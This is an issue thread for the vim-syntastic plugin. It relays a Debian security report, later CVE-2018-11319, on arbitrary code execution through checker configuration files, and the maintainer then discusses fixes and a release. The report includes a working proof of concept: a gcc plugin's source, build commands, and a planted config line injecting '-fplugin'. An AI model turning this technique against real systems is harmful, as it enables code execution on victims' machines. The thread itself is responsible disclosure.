Checker config files allow arbitrary code execution scenarios

[capriott]

Hi,

I'm the Debian maintainer of vim-syntastic and I received this bug report:

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894736

Package: vim-syntastic
Version: 3.8.0-1
Severity: serious

Hello,

syntastic has a Configuration Files[1] feature enabled for several
checkers, where:

a configuration file is looked up in the directory of the file being
checked, then upwards in parent directories. The search stops either
when a file with the right name is found, or when the root of the
filesystem is reached.[1]

[1] https://github.com/vim-syntastic/syntastic/blob/master/doc/syntastic-checkers.txt#L7744

Each line found in the configuration file is escaped as a single
argument and appended to the checker command being run.

I am not an expert on the various possibly dangerous command line
options of all possible checkers, but I played with one I knew how to
play with, and what follows is a possible attack. There might be easier
attacks on checkers that are enabled by default, since the configuration
files features, as it is now, leaves a pretty wide attack surface open.

Step 1: a malicious gcc plugin

The source code:

  #include <gcc-plugin.h>
  #include <stdio.h>
  
  int plugin_is_GPL_compatible;
  
  int plugin_init(struct plugin_name_args   *info,  /* Argument infor */
          struct plugin_gcc_version *ver)   /* Version of GCC */
  {
      fprintf(stdout, "hello\n");
      FILE* out = fopen("/tmp/test", "wt");
      fprintf(out, "arbitrary code execution\n");
      fclose(out);
  };

Building the plugin:

$ gcc -I$(gcc -print-file-name=plugin)/include -fPIC -fno-rtti -O2 -shared plugin.cc  -o /tmp/plugin.so

Installing the plugin as nobody.nogroup in /tmp:

$ sudo chown nobody.nogroup /tmp/plugin.so

Step 2: a syntastic config file

echo -fplugin=/tmp/plugin.so > /tmp/.syntastic_avrgcc_config
sudo chown nobody.nogroup /tmp/.syntastic_avrgcc_config

Step 3: enable the avrgcc plugin

let g:syntastic_cpp_checkers = ['avrgcc']

Step 4: edit a C++ file in /tmp

touch /tmp/foo.cc
vim /tmp/foo.cc

Step 5: cry

$ cat /tmp/test
arbitrary code execution

What should be different

There are several steps that can avoid this:

1. allow to disable this feature, and ship with this feature disabled by
   default
2. stop recursing upwards when hitting a directory that's writable by
   someone other than the current user
3. check that the config files are owned by the current user

Mitigation

I am not a vimscript expert, and unfortunately I have not found a way to
disable this behaviour without editing the syntastic config files.

---

It works.
What do you think about it?

[lcd047]

This assumes the attacker has write access to a parent directory to the base directory of the project you're checking. Consequently the impact should be pretty low on usual setups.

The root of the problem seems to be that the name of the configuration file can be predicted. Thus a possible mitigation is to set the appropriate g:syntastic_<filetype>_config_file or g:syntastic_<checker>_config_file to non-default names for all the checkers that support configuration files.

A more permanent solution would be to unset the defaults for these variables, and possible do some checks on the directories and the file itself as you suggest. This should disable the feature by default, and force the user to choose a name of the configuration file. I'll make a new release soon with these changes.

[lcd047]

I released 3.9.0 with the first part of the fix I mentioned above, clearing the defaults for the names of the configuration files.

Sadly Vim has no built-in way of finding the owner of a file, presumably for historic reasons (most of the OSes Vim was written for at the beginning had no useful concept of ownership). There is also no good way to check whether a directory is writable by someone other than the current user. It might be possible to work around these limitations with Python extensions, but syntastic doesn't assume (or make use of) such extensions. Consequently, the solution in 3.9.0, while probably good enough to stop the attack described in the OP, is less than satisfactory. A better solution would involve adding the relevant functions to Vim.

[carnil]

This issue was assigned CVE-2018-11319